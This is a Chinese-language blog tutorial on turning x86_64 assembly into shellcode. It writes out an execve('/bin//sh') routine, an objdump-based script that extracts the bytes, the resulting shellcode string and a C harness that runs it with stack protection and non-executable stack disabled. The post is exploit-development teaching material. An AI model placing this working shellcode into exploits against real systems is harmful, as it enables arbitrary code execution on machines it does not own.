转换汇编到shellcode的过程
2017-09-28 16:04
232 查看
汇编代码如下:
编译执行过程如下:
用如下bin2shell.sh 脚本将二进制的shell程序 转为x86_64位的shellcode
原理:objdump -d后取带数字的每行的第二个字段 并在其前加入 “\x“ 之后echo输出
最后效果如下:
最后利用shellcode的c代码如下:
代码:https://github.com/tangsilian/SomeCode/tree/master/bin2shellcode
参考:
https://www.exploit-db.com/exploits/42791/
cut 命令解释:https://www.ibm.com/support/knowledgecenter/zh/ssw_aix_72/com.ibm.aix.cmds1/cut.htm
section .text global _start _start: jmp shell here: xor rax,rax pop rdi xor rsi,rsi xor rdx,rdx add rax,59 syscall shell: call here bash db "/bin//sh"
编译执行过程如下:
jay@ubuntu:~/Desktop/bin2shell$ vim shell.asm jay@ubuntu:~/Desktop/bin2shell$ nasm -f elf64 shell.asm -o shell.o jay@ubuntu:~/Desktop/bin2shell$ ld shell.o -o shell jay@ubuntu:~/Desktop/bin2shell$ ./shell $ ls README.md bin2shell.sh shell shell.asm shell.o $ exit
用如下bin2shell.sh 脚本将二进制的shell程序 转为x86_64位的shellcode
#!/bin/bash for i in $(objdump -d $1 |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
原理:objdump -d后取带数字的每行的第二个字段 并在其前加入 “\x“ 之后echo输出
jay@ubuntu:~/Desktop/bin2shell$ objdump -d shell shell: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 <_start>: 400080: eb 10 jmp 400092 <shell> 0000000000400082 <here>: 400082: 48 31 c0 xor %rax,%rax 400085: 5f pop %rdi 400086: 48 31 f6 xor %rsi,%rsi 400089: 48 31 d2 xor %rdx,%rdx 40008c: 48 83 c0 3b add $0x3b,%rax 400090: 0f 05 syscall 0000000000400092 <shell>: 400092: e8 eb ff ff ff callq 400082 <here> 0000000000400097 <bash>: 400097: 2f (bad) 400098: 62 (bad) 400099: 69 .byte 0x69 40009a: 6e outsb %ds:(%rsi),(%dx) 40009b: 2f (bad) 40009c: 2f (bad) 40009d: 73 68 jae 400107 <bash+0x70>
最后效果如下:
jay@ubuntu:~/Desktop/bin2shell$ ./bin2shell.sh shell \xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68
最后利用shellcode的c代码如下:
# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing #include<stdio.h> #include<string.h> unsigned char code[] = "\xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68"; main() { printf("Shellcode Length: %d\n", (int)strlen(code)); int (*ret)() = (int(*)())code;//声明一个函数指针 将code数组的地址转换同一类型的指针并赋值 ret(); }
代码:https://github.com/tangsilian/SomeCode/tree/master/bin2shellcode
参考:
https://www.exploit-db.com/exploits/42791/
cut 命令解释:https://www.ibm.com/support/knowledgecenter/zh/ssw_aix_72/com.ibm.aix.cmds1/cut.htm
相关文章推荐
- 关于计算机将c代码转换成汇编代码的过程描述
- shellcode转换成汇编代码
- stm32启动过程(汇编代码)及汇编到main函数的转换过程的实现
- 【Python】使用Python将Shellcode转换成汇编
- 71.windbg-转换shellcode为汇编
- 关于编译和运行过程中的字符编码转换的猜测
- 数据转换冲突及转换过程中大对象的处理
- VC6.0 --> VS2003 转换过程中的几个错误的解决
- c程序的编译 汇编.连接过程
- 操作系统把虚拟地址转换成物理存储器地址的过程
- int与uint类型之间转换过程中值的变化
- as3加密DES过程中,1、字符串转成ByteArray(byte数组)形式 ,2、ByteArray编码成base64 3、把ByteArray转换为16进制的形式的字符串
- WinDbg演示IA-32 CPU下的Windows 分页机制下的地址转换过程(转载)
- 从汇编看一个小程序的完整执行过程
- 人人都是 DBA(XIV)存储过程信息收集脚本汇编
- Magento从后台读取数据,转换成数组,去掉空元素的过程
- 本人用汇编写的一个bmp位图的字符转换程序
- GDB调试汇编堆栈过程分析
- linux预处理、编译、汇编、链接和运行的过程
- 第五章相应的汇编转换成C的分析【一】